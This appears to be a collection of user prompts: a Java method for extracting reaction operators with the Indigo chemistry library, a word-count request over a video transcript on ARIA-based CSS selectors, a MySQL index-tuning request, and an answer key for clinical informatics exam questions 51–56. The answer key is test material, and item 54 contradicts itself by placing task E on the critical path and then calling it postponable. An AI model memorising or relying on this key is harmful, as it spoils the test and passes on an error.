stereochemistry will be stripped from the molecule\n if (stereo) {\n for (IndigoObject mol : mrxn.iterateMolecules()) {\n mol.clearStereocenters();\n }\n }\n \n if (verbose) {\n saveRxnImg(mrxn, "IndigoROExtractor-postStereo.svg");\n }\n\n //Index out all the atoms and molecules\n IndigoObject[] molObjects = new IndigoObject[mrxn.countMolecules()];\n IndigoObject[][] atomObjects = new IndigoObject[mrxn.countMolecules()][];\n for (int m = 0; m < mrxn.countMolecules(); m++) {\n IndigoObject mol = mrxn.getMolecule(m);\n molObjects[m] = mol;\n atomObjects[m] = new IndigoObject[mol.countAtoms()];\n for (int a = 0; a < mol.countAtoms(); a++) {\n IndigoObject atom = mol.getAtom(a);\n atomObjects[m][a] = atom;\n }\n }\n\n //Index out all the bonds\n IndigoObject[][] bondObjects = new IndigoObject[mrxn.countMolecules()][];\n for (int m = 0; m < mrxn.countMolecules(); m++) {\n IndigoObject mol = mrxn.getMolecule(m);\n bondObjects[m] = new IndigoObject[mol.countBonds()];\n for (int b = 0; b < mol.countBonds(); b++) {\n IndigoObject bond = mol.getBond(b);\n bondObjects[m][b] = bond;\n }\n }\n\n //Create arrays to hold the atom reaction centers\n Set> centerAtoms = new HashSet<>();\n Set> centerBonds = new HashSet<>();\n\n //Create arrays to hold the atom indices to be retained\n Set> keepAtoms = new HashSet<>();\n Set> keepBonds = new HashSet<>();\n\n //Identify any exchangeable hydrogens\n Set unmappers = new HashSet<>();\n for (IndigoObject mol : mrxn.iterateMolecules()) {\n for (int a = 0; a < mol.countAtoms(); a++) {\n IndigoObject atom = mol.getAtom(a);\n\n //Only deal with hydrogens\n if (atom.atomicNumber() != 85) {\n continue;\n }\n\n //Gather the hydrogens next to heteroatoms\n for (IndigoObject nei : atom.iterateNeighbors()) {\n IndigoObject bond = nei.bond();\n IndigoObject neiAtom = atomObjects[mol.index()][nei.index()];\n int atno = neiAtom.atomicNumber();\n if (atno == 7 || atno == 8 || atno == 16) {\n unmappers.add(mrxn.atomMappingNumber(atom));\n }\n }\n }\n }\n\n //Unmap the exchangeable Hydrogens\n for (IndigoObject mol : mrxn.iterateMolecules()) {\n for (int a = 0; a < mol.countAtoms(); a++) {\n IndigoObject atom = mol.getAtom(a);\n if (unmappers.contains(mrxn.atomMappingNumber(atom))) {\n mrxn.setAtomMappingNumber(atom, 0);\n }\n }\n }\n\n if (verbose) {\n saveRxnImg(mrxn, "IndigoROExtractor-postExchangeH.svg");\n }\n\n if (verbose) {\n System.out.println("\\n\\*\\*\\*\\*\\*\\*\\*\\*\\*\\nAll Bonds\\n\\t\\t\\tFrom:\\t\\t\\tTo:");\n System.out.println("m\\tb\\tcode\\tindex\\tatno\\t\\tindex\\tatno");\n }\n\n //Iterate through the bonds to identify rxn centers\n for (int m = 0; m < bondObjects.length; m++) {\n for (int b = 0; b < bondObjects[m].length; b++) {\n IndigoObject bond = bondObjects[m][b];\n\n //Get the enum that describes the mapping of each reaction center\n int code = mrxn.reactingCenter(bond);\n\n if (verbose) {\n System.out.print(m + "\\t" + b + "\\t" + code + "\\t");\n System.out.print(bond.source().index() + "\\t" + bond.source().atomicNumber());\n System.out.print("\\t\\t");\n System.out.println(bond.destination().index() + "\\t" + bond.destination().atomicNumber());\n }\n\n if (code == Indigo.RC\\_UNCHANGED) { //Atoms on both sides, no bonds changed\n continue;\n }\n if (code == Indigo.RC\\_CENTER) { //Not sure what that means, but isn\'t encountered much if ever\n continue;\n }\n\n IndigoObject atomOne = bond.source();\n IndigoObject atomTwo = bond.destination();\n\n if (complete) {\n //With the complete option, all changed atoms get included\n keepBonds.add(new Pair(m, b));\n keepAtoms.add(new Pair(m, atomOne.index()));\n keepAtoms.add(new Pair(m, atomTwo.index()));\n centerAtoms.add(new Pair(m, atomOne.index()));\n centerAtoms.add(new Pair(m, atomTwo.index()));\n centerBonds.add(new Pair(m, b));\n } else {\n //Matched scenario, only include the atoms and bonds that are not atommap == 0\n boolean onekeep = false;\n boolean twokeep = false;\n if (mrxn.atomMappingNumber(atomOne) != 0) {\n keepAtoms.add(new Pair(m, atomOne.index()));\n centerAtoms.add(new Pair(m, atomOne.index()));\n onekeep = true;\n }\n if (mrxn.atomMappingNumber(atomTwo) != 0) {\n keepAtoms.add(new Pair(m, atomTwo.index()));\n centerAtoms.add(new Pair(m, atomTwo.index()));\n twokeep = true;\n }\n if (onekeep && twokeep) {\n keepBonds.add(new Pair(m, bond.index()));\n centerBonds.add(new Pair(m, b));\n }\n }\n }\n }\n\n if (verbose) {\n /\\*\\*\n \\* m is the molecule, substrate = 0, product = 1 a is the atom index\n \\* within that molecule atno is the atomic number (85 is At, C=6,\n \\* O=8) atmap is the assigned atom mapping number\n \\*/\n System.out.println("\\n\\*\\*\\*\\*\\*\\*\\*\\*\\*\\nKeep Atoms after collecting reaction centers");\n System.out.println("m\\ta\\tatno\\tatmap");\n\n for (Pair apair : keepAtoms) {\n IndigoObject atom = atomObjects[apair.getKey()][apair.getValue()];\n System.out.println(apair.getKey() + "\\t" + apair.getValue() + "\\t" + atom.atomicNumber() + "\\t" + mrxn.atomMappingNumber(atom));\n }\n }\n\n if (rotype == ELECTRONIC) {\n //For each reaction center Atom, add the sigma-attached bonds and atoms\n for (Pair index : centerAtoms) {\n IndigoObject croAtom = atomObjects[index.getKey()][index.getValue()];\n for (IndigoObject nei : croAtom.iterateNeighbors()) {\n IndigoObject bond = nei.bond();\n keepBonds.add(new Pair(index.getKey(), bond.index()));\n keepAtoms.add(new Pair(index.getKey(), bond.source().index()));\n keepAtoms.add(new Pair(index.getKey(), bond.destination().index()));\n }\n }\n\n //For each keepAtom, add anything in conjugation\n Set> workList = new HashSet<>();\n workList.addAll(keepAtoms);\n\n for (IndigoObject mol : mrxn.iterateMolecules()) {\n for (int a = 0; a < mol.countAtoms(); a++) {\n IndigoObject atom = mol.getAtom(a);\n if (!keepAtoms.contains(new Pair(mol.index(), a))) {\n continue;\n }\n IndigoObject keeper = mol.getAtom(a);\n if (isSP3(keeper)) {\n continue;\n }\n keepBonds.addAll(addConjugated(mol, keeper, keepAtoms));\n }\n }\n }\n\n if (verbose) {\n System.out.println("\\n\\*\\*\\*\\*\\*\\*\\*\\*\\*\\nAfter Electronic block");\n System.out.println("m\\ta\\tatno\\tatmap");\n\n for (Pair apair : keepAtoms) {\n IndigoObject atom = atomObjects[apair.getKey()][apair.getValue()];\n System.out.println(apair.getKey() + "\\t" + apair.getValue() + "\\t" + atom.atomicNumber() + "\\t" + mrxn.atomMappingNumber(atom));\n }\n }\n\n if (hydrogenated) {\n //Remove certain hydrogens that are mapped\n Set> keepcopy = new HashSet<>(keepAtoms);\n for (Pair keeper : keepcopy) {\n int m = keeper.getKey();\n int a = keeper.getValue();\n IndigoObject atom = atomObjects[m][a];\n\n //Only deal with hydrogens\n int atno = atom.atomicNumber();\n if (atno != 85) {\n continue;\n }\n\n //Exclude unmapped\n int atmap = mrxn.atomMappingNumber(atom);\n if (atmap == 0) {\n continue;\n }\n\n //Exclude reactive center hydrogens\n if (centerAtoms.contains(new Pair(m, a))) {\n continue;\n }\n\n keepAtoms.remove(keeper);\n for (IndigoObject nei : atom.iterateNeighbors()) {\n IndigoObject bond = nei.bond();\n keepBonds.remove(new Pair(m, bond.index()));\n }\n }\n }\n\n if (verbose) {\n System.out.println("\\n\\*\\*\\*\\*\\*\\*\\*\\*\\*\\nAfter Hydrogenize block");\n System.out.println("m\\ta\\tatno\\tatmap");\n\n for (Pair apair : keepAtoms) {\n IndigoObject atom = atomObjects[apair.getKey()][apair.getValue()];\n System.out.println(apair.getKey() + "\\t" + apair.getValue() + "\\t" + atom.atomicNumber() + "\\t" + mrxn.atomMappingNumber(atom));\n }\n }\n\n //Gather up bonds that should be tossed\n Set tossBonds = new HashSet<>();\n for (int m = 0; m < mrxn.countMolecules(); m++) {\n IndigoObject mol = mrxn.getMolecule(m);\n for (int b = 0; b < mol.countBonds(); b++) {\n IndigoObject bond = bondObjects[m][b];\n tossBonds.add(bond);\n }\n }\n for (Pair indices : keepBonds) {\n IndigoObject keepbond = bondObjects[indices.getKey()][indices.getValue()];\n tossBonds.remove(keepbond);\n }\n\n //Gather up atoms that should be tossed\n Set tossAtoms = new HashSet<>();\n for (int m = 0; m < mrxn.countMolecules(); m++) {\n IndigoObject mol = mrxn.getMolecule(m);\n for (int a = 0; a < mol.countAtoms(); a++) {\n IndigoObject atom = atomObjects[m][a];\n tossAtoms.add(atom);\n }\n }\n for (Pair indices : keepAtoms) {\n IndigoObject keepatom = atomObjects[indices.getKey()][indices.getValue()];\n tossAtoms.remove(keepatom);\n }\n\n //Convert Astatines back to Hydrogens\n for (IndigoObject mol : mrxn.iterateMolecules()) {\n for (int i = 0; i < mol.countAtoms(); i++) {\n IndigoObject atom = mol.getAtom(i);\n if (atom.atomicNumber() == 85) {\n atom.resetAtom("H");\n }\n }\n }\n\n //Remove the tossed bonds\n for (IndigoObject bond : tossBonds) {\n bond.remove();\n }\n\n //Remove the tossed atoms\n for (IndigoObject atom : tossAtoms) {\n atom.remove();\n }\n \n if(verbose) {\n saveRxnImg(mrxn, "IndigoROExtractor\\_postToss.svg");\n }\n\n /\\*\\*\n \\* If an RO is of the valence type, up to here it has behaved as core.\n \\* None of the electronic block would be called. It could still be\n \\* matched or complete, and it could be hydrogenized or not.\n \\*\n \\* Regardless, the VALENCE RO is obtained by eliminating the identity of\n \\* all the atoms. Here that is done by converting to a \\*.\n \\*/\n if (rotype == VALENCE) {\n for (IndigoObject mol : mrxn.iterateMolecules()) {\n for (IndigoObject atom : mol.iterateAtoms()) {\n atom.resetAtom("\\*");\n }\n }\n }\n\n //Remove the extra stuff at the end of the smirks and return\n String smirks = mrxn.smiles();\n smirks = smirks.split("\\\\|")[0];\n return smirks.trim();\n }' -"how many words are in this audio transcript:\n\n[0:00] we talk a lot about semantic HTML but[0:03] what about semantic CSS they're coming[0:05] up with good class names in CSS is[0:07] always a bit of a struggle it's maybe[0:09] one of the more infuriating things which[0:11] is why we have so many different naming[0:12] conventions and different approaches to[0:14] authoring CSS especially when it comes[0:16] to organization and dealing with[0:18] selectors so we can attempt to give[0:20] things meaning with names but of course[0:22] the class name doesn't have any real[0:24] meaning it's easy to get them wrong and[0:26] well of course things like this would[0:28] work just as well if you were to take[0:29] inspiration from my son and use a class[0:31] like big butt[0:37] wait no no[0:49] that's probably not the best idea in the[0:51] world and people might be a little bit[0:53] confused if they're working on that code[0:54] base and come along the your big butt[0:56] class there but of course if that class[0:58] was in your HTML that selector would[1:00] work perfectly fine but if somebody were[1:02] to randomly come across it they'd really[1:04] have no idea what you were actually[1:05] wanting to do with it and that's very[1:08] different from what we have with HTML[1:10] where we have things like our nav our[1:12] header or footer or aside we have[1:13] figures we have all sorts of things that[1:16] have actual meaning to them and even[1:18] sometimes getting those right or using[1:19] them in the right way can has a little[1:21] bit of wiggle room but for the most part[1:23] it really makes our lives a lot easier[1:25] now the semantics of those elements help[1:27] convey actual meaning to the browser and[1:29] assistive Technologies as well but it[1:31] also makes it easy for developers to be[1:33] a bit more consistent and know how[1:35] things are being used so with all of[1:36] that how can we take that idea of[1:38] semantics from HTML and use them in CSS[1:41] without having to go down the route of[1:43] only selecting things like our nav or[1:45] header or footer with element selectors[1:47] so to figure that out we're going to[1:48] jump into this example that I have up[1:50] right now and this was heavily inspired[1:52] by an article that Ben Myers recently[1:54] put out so I will be linking to that in[1:55] the description I'd strongly recommend[1:57] giving it a read and I'll also have some[1:59] other good links down in the description[2:01] related to this topic that helped me put[2:03] this video together so the idea here is[2:06] this is quite a common thing that you[2:08] might see we have a current page like[2:10] this one so we have you know a regular[2:12] navigation set up with our semantic HTML[2:14] but then we have this current page here[2:16] and then of course it highlights the[2:18] page we're on so we just you know when[2:20] you go through all your different pages[2:21] you know if I'm on my about page I'm[2:23] just moving that down to there then I'm[2:24] moving that down to there and maybe[2:26] you're using some sort of dynamic system[2:28] to be able to do this with however[2:29] you're authoring you know depends on[2:31] your Tech stack and all of that but[2:32] we're highlighting the current page and[2:34] if we come back to the Styles here I've[2:36] just done this where I'm my nav link[2:38] that has a current page I've given it a[2:40] background color we're not doing[2:41] anything fancy here there's other ways[2:43] of doing this but a nice simple setup we[2:45] have a hover color for the regular one[2:47] and then we have this one one that has[2:49] the darker color and I've boosted[2:50] specificity on it to make sure that it's[2:52] working so if I hover on top of that one[2:54] we don't get the color changing nothing[2:56] too fancy but the one problem here is if[2:58] we come back to here we we've used our[3:00] nav here we've used a list here we're[3:01] using semantic elements but we're not[3:04] actually using anything semantic to link[3:06] into we're not we're not giving any[3:08] extra context to what the current page[3:10] is even though there is a way to do that[3:12] and the way to do that is an area[3:14] current equals page and by doing that[3:18] we're helping assistive Technologies get[3:20] the same hint that this is doing[3:22] visually on the page right here so right[3:25] away that's a good start but now I'm I[3:28] have this here and then I have the[3:30] current page here and that means if I go[3:33] and that you know I want to do my about[3:34] page now well that means I need to move[3:36] this thing here over down to here and[3:39] then I also need to remove this from[3:41] that link here and I do move that down[3:43] to the link here and there's a lot that[3:45] could potentially go wrong in having to[3:48] you know it's extra maintenance for[3:50] nothing it's kind of annoying on that[3:51] front and this is just some random class[3:54] that I've assigned to here this could[3:56] have been big butt like we mentioned[3:57] before and I could have it do the exact[3:59] same thing whereas this actually carries[4:01] meaning to it so if this actually[4:04] carries meaning to it and this is[4:05] actually saying this is the current page[4:07] that we're on right now well I could[4:09] hook into that with CSS so instead of[4:12] doing nav link current page like this I[4:14] could take this let's turn this into an[4:16] attribute selector by putting some[4:17] square brackets around it let's delete[4:19] what's in there and put in my area[4:21] current is equal to page[4:25] and hit save on that and now you can see[4:28] that it's still working and if we come[4:29] back to here and we delete this current[4:31] page from here and hit save[4:34] everything is still working perfectly[4:35] fine and what we've done here is[4:37] actually create a semantic CSS selector[4:39] we're using the semantics that we had in[4:41] our HTML without you know you could[4:43] select a nav a UL things like that but[4:45] we're linking into another level of[4:47] semantics and we're bringing that in[4:49] here to help style our page and that[4:52] means that things have to be done[4:53] properly from accessibility standpoint[4:55] to be able to style things so we're sort[4:57] of enforcing accessibility by doing this[5:00] as well because now if I go to my about[5:01] page it's broken because my about page[5:04] had it the old way[5:06] and I did this the old-fashioned way[5:08] with just some regular old C HTML on[5:11] every page so of course then this would[5:13] have to be removed and we do an area[5:15] current is equal to page right here and[5:18] now that's fixed and we have this[5:20] working across our pages and to be able[5:22] to do something like this requires[5:24] literally the exact same amount of work[5:27] as it would have required before the[5:29] only difference is it's a few extra[5:30] characters but the advantage is we're[5:32] bringing in[5:33] the accessibility component of it here[5:36] and we're just hooking into that with[5:38] our style sheet and how we're doing our[5:40] CSS right here to look at more examples[5:42] of types of things you can do with this[5:44] one I've looked at many times before is[5:46] using things like area expanded on[5:48] buttons for styling things like a[5:50] navigation whether it's opened or closed[5:52] so if we take a look at this when you're[5:55] doing it I have my button that's right[5:58] here we have an area expanded a false on[6:00] there and when it opens that gets[6:02] switched over to true so the JavaScript[6:04] is switching that back and forth between[6:06] the two of them but that means I can[6:08] hook in and I can style things from the[6:10] menu being open and what the menu looks[6:12] like to how my button is created and[6:15] everything using those selectors right[6:17] there another example could be down here[6:20] if you have a tabs system like this[6:22] where we can switch between different[6:24] tabs I could have everything controlled[6:27] through my area roles here that I'm[6:29] using for my tab list and things like[6:31] this that we should be setting up if[6:33] we're doing things this way so my tab[6:35] list is being set up through the role[6:37] I'm not coming up with a class and[6:38] having the role on there each tab is[6:41] being styled through that my tab panel[6:43] area selected is all coming together[6:46] here so when it's selected I'm changing[6:48] the style of it as I'm coming through on[6:50] those and if you're new to things like[6:52] this and you're not sure about them[6:53] anytime you're looking something up it's[6:55] very easy to do a nice quick search for[6:57] example let's say you need to make us an[6:59] on off switch for something you can just[7:01] do one for a11y switch and you can see I[7:04] was looking that up recently which is[7:06] why it's top of mind and you'll see lots[7:08] of different things that come up on it[7:09] and you can do some further reading on[7:11] it where a lot of the time they give you[7:13] code examples of what things are going[7:15] to look like including things like roles[7:18] that you might need to include so we[7:19] have the role of switch that are coming[7:21] on a few of these you'll see there's no[7:23] area anything but we do have the role of[7:24] switch there's other things that do come[7:26] up with these types of elements when[7:28] we're trying to make interactive[7:29] elements as accessible as possible and[7:31] that helps us hook into those with our[7:33] CSS and it helps us make our CSS[7:36] semantic as well and often the general[7:38] rule of area is don't use area if you[7:40] don't have to so just using your nav[7:42] your head or your footer things like[7:43] that are the right thing to do but as[7:45] soon as you are getting into more[7:46] complex things there are usually things[7:49] that you need to take into account and[7:51] it is really advantageous because it[7:53] makes it a lot easier to hook into[7:54] because an area selected true is nice[7:57] and you know you're not stuck thinking[7:59] do I need a tab tab opened or something[8:02] or is it opened or do I give this active[8:05] like what name do I give it you don't[8:06] have the whole worrying about how you[8:08] name things goes out the window it's[8:10] already handled for us we're good to go[8:11] and if you enjoyed this video and it[8:13] gave you a few thoughts I'd really[8:15] recommend checking out the articles that[8:16] you can see in the description that go[8:18] into a lot more detail and on a few of[8:20] the different patterns that you're[8:21] seeing here and if you're looking for[8:22] more video content I have looked at[8:24] another excessive ability issue that is[8:26] I see coming up all the time which is[8:28] the misuse of heading levels in putting[8:30] together websites and apps so if you're[8:32] curious about that that video is right[8:34] here for your viewing pleasure and with[8:35] that I would really like to thank my[8:37] enablers of awesome Jen Johnny Michael[8:39] Patrick Simon and Tim as well as all my[8:41] other patrons for their monthly support[8:42] and of course until next time don't[8:44] forget to make your corn on the internet[8:45] just a little bit more awesome" -'analyze the following mysql query and provide instructions on which table and column indexes need to be created\n\nselect count(1) as cnt from ( SELECT DISTINCT `campaign`.`id`, `campaign`.`adhocsegid`, `campaign`.`camp\\_name` as `name`, `campaign`.`splitid`, `campaign`.`embargo` as `publish\\_time`, `campaign`.`modified` as `updated\\_date`, `campaign`.`old\\_flag`, case when ((cesm.splitid is null and campaign.status =\'sent\') or (cesm.splitid is not null and cesm.status = \'sent\')) then \'sent\' when ((cesm.splitid is null and campaign.status = \'submitted\') or (cesm.splitid is not null and cesm.status = \'submitted\')) then \'scheduled\' when ((cesm.splitid is null and campaign.status = \'inprocess\') or (cesm.splitid is not null and cesm.status = \'inprocess\')) then \'running\' when ((cesm.splitid is null and campaign.status = \'0\') or (cesm.splitid is not null and cesm.status = \'0\')) then \'draft\' when (cesm.splitid is not null) then cesm.status else campaign.status end as status, \'email\' as channel\\_name, \'\' as schedule\\_tz, case when campaign.dynamic\\_content = 1 then \'dynamic\' when cesm.split\\_type = \'s\' then \'split\' when cesm.split\\_type = \'a\' or (campaign.splitid > 0 and cesm.splitid is null) then \'split\\_ab\' when campaign.msgtype = 1 then \'birthday\' when campaign.msgtype = 2 then \'followup\' when campaign.msgtype = 7 then \'slice\' when campaign.msgtype = 11 then \'sto\' when campaign.msgtype = 20 then \'amp\' else \'regular\' end as campaign\\_type, `campaign`.`fromfield` as `from\\_email`, `campaign`.`subject`, `campaign`.`entered` as `created\\_at`, `campaign`.`modified` as `modified\\_at`, `campaign`.`sent` as `sent\\_date`, `mcd`.`activity\\_id`, `mcd`.`revenue\\_param`, `campaign`.`processed`, campaign.msgtype AS message\\_type, campaign.size, cesm.winnerid, cesm.split\\_type, NULL AS ostype, NULL AS content, NULL AS advanced\\_options, NULL AS siteid FROM `phplist\\_message` `campaign` LEFT JOIN `message\\_conversion\\_definition` `mcd` ON `campaign`.`id` = `mcd`.`msgid` and `mcd`.`mediumid`=1 LEFT JOIN `custom\\_email\\_split\\_master` `cesm` ON `campaign`.`splitid` = `cesm`.`splitid` and `old\\_flag` = 0 WHERE (( campaign.old\\_flag =0 and `campaign`.`splitid` >0 and campaign.id=(select id from phplist\\_message where splitid = `campaign`.`splitid` and `old\\_flag` = 0 order by id limit 1)) or (`campaign`.`old\\_flag` = 1 and `campaign`.`splitid` >0 and campaign.id=(select id from phplist\\_message where splitid = `campaign`.`splitid` and `old\\_flag` = 1 order by id limit 1)) or (`campaign`.`splitid` =0 or `campaign`.`splitid` is null or `campaign`.`splitid` = "" ) ) AND `campaign`.`status` != \'deleted\' AND ((campaign.automation\\_id is null or `campaign`.`automation\\_id` =0) and `campaign`.`status` != \'0\') union all SELECT DISTINCT `campaign`.`id`, 0 as `adhocsegid`, `campaign`.`name`, 0 as `splitid`, `campaign`.`publish\\_time` as `publish\\_time`, `campaign`.`updated\\_date`, 1 as `old\\_flag`, case when campaign.status = 6 or campaign.status =\'1\' or campaign.status = \'0\' then \'draft\' when campaign.status =\'2\' and campaign.scheduled = \'1\' then \'scheduled\' when campaign.status = \'3\' then \'sent\' when campaign.status = \'4\' then \'failed\' when campaign.status = \'5\' then \'running\' when campaign.status = \'7\' then \'suspended\' else campaign.status end as status, \'sms\' as channel\\_name, \'\' as schedule\\_tz, case when campaign.setlimit > 1 then \'limit\' else \'regular\' end as campaign\\_type, \'\' as from\\_email, \'\' as subject, `campaign`.`created\\_date` as `created\\_at`, `campaign`.`updated\\_date` as `modified\\_at`, `campaign`.`sent` as `sent\\_date`, `mcd`.`activity\\_id`, `mcd`.`revenue\\_param`, `campaign`.`processed`, NULL AS message\\_type, NULL AS size, NULL AS winnerid, NULL AS split\\_type, NULL AS ostype, NULL AS content, NULL AS advanced\\_options, NULL AS siteid FROM `papi\\_smsmessage` `campaign` LEFT JOIN `message\\_conversion\\_definition` `mcd` ON `campaign`.`id` = `mcd`.`msgid` and `mcd`.`mediumid`=2 WHERE (`campaign`.`automation\\_id` is null or `campaign`.`automation\\_id` =0) AND `campaign`.`status` <> 8 union all SELECT DISTINCT `campaign`.`id`, `campaign`.`adhocsegid`, `campaign`.`name`, `campaign`.`splitid`, `campaign`.`publish\\_time`, `campaign`.`updated\\_date`, 0 as `old\\_flag`, case when ((cesm.splitid is null and (campaign.status =\'1\' or campaign.status=\'0\')) or (cesm.splitid is not null and (cesm.status =\'1\' or cesm.status=\'0\'))) then \'draft\' when campaign.scheduled = 1 and ((cesm.splitid is null and campaign.status =\'2\') or (cesm.splitid is not null and cesm.status =\'2\')) then \'scheduled\' when campaign.scheduled = 0 and ((cesm.splitid is null and campaign.status =\'2\') or (cesm.splitid is not null and cesm.status =\'2\')) then \'running\' when ((cesm.splitid is null and campaign.status =\'3\') or (cesm.splitid is not null and cesm.status =\'3\')) then \'sent\' when ((cesm.splitid is null and campaign.status =\'4\') or (cesm.splitid is not null and cesm.status =\'4\')) then \'failed\' when ((cesm.splitid is null and campaign.status =\'5\') or (cesm.splitid is not null and cesm.status =\'5\')) then \'running\' when ((cesm.splitid is null and campaign.status =\'7\') or (cesm.splitid is not null and cesm.status =\'7\')) then \'suspended\' when ((cesm.splitid is null and campaign.status =\'10\') or (cesm.splitid is not null and cesm.status =\'10\')) then \'scheduled\' when (cesm.splitid is not null) then cesm.status else campaign.status end as status, \'apn\' as channel\\_name, \'\' as schedule\\_tz, case when campaign.campaign\\_type = \'3\' or campaign.campaign\\_type = \'multi\' then \'multimessage\' when cesm.split\\_type = \'sto\' then \'sto\' when cesm.split\\_type = \'s\' then \'split\' when cesm.split\\_type = \'a\' then \'split\\_ab\' else \'regular\' end as campaign\\_type, \'\' as from\\_email, NULL as subject, `campaign`.`created\\_date` as `created\\_at`, `campaign`.`updated\\_date` as `modified\\_at`, \'\' as sent\\_date, `mcd`.`activity\\_id`, `mcd`.`revenue\\_param`, `campaign`.`processed`, campaign.msgtype AS message\\_type, NULL AS size, cesm.winnerid, cesm.split\\_type, campaign.ostype, campaign.content, NULL AS advanced\\_options, NULL AS siteid FROM `push\\_message` `campaign` LEFT JOIN `message\\_conversion\\_definition` `mcd` ON `campaign`.`id` = `mcd`.`msgid` and `mcd`.`mediumid`=4 LEFT JOIN `custom\\_apn\\_split\\_master` `cesm` ON `campaign`.`splitid` = `cesm`.`splitid` WHERE `campaign`.`parentid` = 1 AND (`campaign`.`automation\\_id` is null or `campaign`.`automation\\_id` =0) union all SELECT DISTINCT `campaign`.`id`, 0 as `adhocsegid`, `campaign`.`name`, `campaign`.`splitid`, `campaign`.`publish\\_time`, `campaign`.`updated\\_date`, 0 as `old\\_flag`, case when ((cesm.splitid is null and (campaign.status =\'1\' or campaign.status=\'0\')) or (cesm.splitid is not null and (cesm.status =\'1\' or cesm.status=\'0\'))) then \'draft\' when campaign.scheduled = 1 and ((cesm.splitid is null and campaign.status =\'2\') or (cesm.splitid is not null and cesm.status =\'2\')) then \'scheduled\' when campaign.scheduled = 0 and ((cesm.splitid is null and campaign.status =\'2\') or (cesm.splitid is not null and cesm.status =\'2\')) then \'running\' when ((cesm.splitid is null and campaign.status =\'3\') or (cesm.splitid is not null and cesm.status =\'3\')) then \'sent\' when ((cesm.splitid is null and campaign.status =\'4\') or (cesm.splitid is not null and cesm.status =\'4\')) then \'failed\' when ((cesm.splitid is null and campaign.status =\'5\') or (cesm.splitid is not null and cesm.status =\'5\')) then \'running\' when ((cesm.splitid is null and campaign.status =\'7\') or (cesm.splitid is not null and cesm.status =\'7\')) then \'suspended\' when (cesm.splitid is not null) then cesm.status else campaign.status end as status, \'bpn\' as channel\\_name, \'\' as schedule\\_tz, case when cesm.split\\_type = \'s\' then \'split\' when cesm.split\\_type = \'a\' then \'split\\_ab\' else \'regular\' end as campaign\\_type, \'\' as from\\_email, `campaign`.`webpush\\_title` as `subject`, `campaign`.`created\\_date` as `created\\_at`, `campaign`.`updated\\_date` as `modified\\_at`, \'\' as sent\\_date, `mcd`.`activity\\_id`, `mcd`.`revenue\\_param`, `campaign`.`processed`, NULL AS message\\_type, NULL AS size, cesm.winnerid, cesm.split\\_type, NULL AS ostype, NULL AS content, campaign.advanced\\_options, campaign.siteid FROM `webpush\\_message` `campaign` LEFT JOIN `message\\_conversion\\_definition` `mcd` ON `campaign`.`id` = `mcd`.`msgid` and `mcd`.`mediumid`=5 LEFT JOIN `custom\\_bpn\\_split\\_master` `cesm` ON `campaign`.`splitid` = `cesm`.`splitid` WHERE `campaign`.`parentid` = 1 AND (`campaign`.`automation\\_id` is null or `campaign`.`automation\\_id` =0) union all SELECT DISTINCT `campaign`.`campaign\\_id` as `id`, 0 as `adhocsegid`, `campaign`.`camp\\_name` as `name`, `campaign`.`splitid`, `campaign`.`schedule\\_date` as `publish\\_time`, `campaign`.`updated\\_date`, 0 as `old\\_flag`, case when ((cesm.splitid is null and (campaign.status = \'draft\')) or (cesm.splitid is not null and (cesm.status = \'1\' or cesm.status = \'0\'))) then \'draft\' when campaign.scheduled = 1 and ((cesm.splitid is null and campaign.status = \'scheduled\') or (cesm.splitid is not null and cesm.status = \'2\')) then \'scheduled\' when campaign.scheduled = 0 and ((cesm.splitid is null and campaign.status = \'scheduled\') or (cesm.splitid is not null and cesm.status = \'2\')) then \'running\' when ((cesm.splitid is null and campaign.status = \'completed\') or (cesm.splitid is not null and cesm.status = \'3\')) then \'sent\' when ((cesm.splitid is null and campaign.status = \'failed\') or (cesm.splitid is not null and cesm.status = \'4\')) then \'failed\' when ((cesm.splitid is null and campaign.status = \'inprocess\') or (cesm.splitid is not null and cesm.status = \'5\')) then \'running\' when ((cesm.splitid is null and campaign.status = \'suspended\') or (cesm.splitid is not null and cesm.status = \'7\')) then \'suspended\' when (cesm.splitid is not null) then cesm.status else campaign.status end as status, \'whatsapp\' as channel\\_name, `campaign`.`schedule\\_tz`, case when cesm.split\\_type = \'s\' then \'split\' when cesm.split\\_type = \'a\' then \'split\\_ab\' else \'regular\' end as campaign\\_type, \'\' as from\\_email, \'\' as subject, `campaign`.`created\\_date` as `created\\_at`, `campaign`.`updated\\_date` as `modified\\_at`, null activity\\_id, null as revenue\\_param, \'\' as sent\\_date, null as processed, NULL AS message\\_type, NULL AS size, cesm.winnerid, cesm.split\\_type, NULL AS ostype, NULL AS content, null as advanced\\_options, null siteid FROM `campaign\\_entity\\_master` `campaign` LEFT JOIN `campaign\\_split\\_master` `cesm` ON `campaign`.`splitid` = `cesm`.`splitid` WHERE `campaign`.`split\\_parent` = 1 AND `campaign`.`status` != \'delete\' AND (`campaign`.`automation\\_id` is null or `campaign`.`automation\\_id` =0) ) as campaign' -'51\nTHE ANSWER IS C. A research looking at secular (i.e. long term, non-cyclical) data trends does not need any access to live data. In fact, giving him access to live data causes two problems. Firstly, it will slow down the system for current patients and providers. Second, if he inadvertently modifies live data, it could impugn the integrity of the whole system. (REF: 3.5.1 - Institutional Governance)\n52\nTHE ANSWER IS C. The question stem is describing black box testing where the tester has no knowledge of the inner workings of the software. As a consequence, testers generally do not have to have technical knowledge of the development platform. Static testing refers to looking at structural elements of the code itself, and therefore requires source code access. Unit tests typically involve testing small code fragments at the module or class level. While unit tests can be black box, they tend not to be, which makes C a better answer.\xa0 (Ref 3.5.4 - Clinical information system testing)\n53\nTHE ANSWER IS C. Metadata is data about the data, and may include information about when the document was created or by whom. This information may be useful to support more complex queries. Corpus is the collection of documents being searched. An index allows for quick retrieval of information and relevancy is the property of whether or not the document meets the information need. (REF: Section 2.2.5 - Information Retrieval)\n54\nTHE ANSWER IS B. The critical path of a project is the longest path from start to completion, which defines the minimum time required to complete the project. In this diagram, the critical path includes B and E. Tasks A, C and E can each be postponed without affecting the end of the project. (REF: Section 4.4.4 Project Management Tools)\n55\nTHE ANSWER IS A. By limiting choices to one of four options, the implementer is using a controlled vocabulary. Both a taxonomy and an ontology have a hierarchical relationship among concepts, while a classification generally does not. Semantic encoding exists when the codes have meaning in relation to the concept being encoded. In this case, the numbers actually do have some correlation to the concepts. As the numbers get higher, the patient’s limitations get more severe. However, this reflects ordinality rather than semantics, which makes choice A a better answer. (REF: 3.4.5. Nomenclatures, vocabularies, and terminologies)\n56\nTHE ANSWER IS C. Early adopters and other volunteers are often selected from a user base to be “super users”. They are given additional training and are enlisted to help train other users. In general, they are not given other technical responsibilities such as setting up interfaces, maintaining passwords or assisting with security review. In this context a 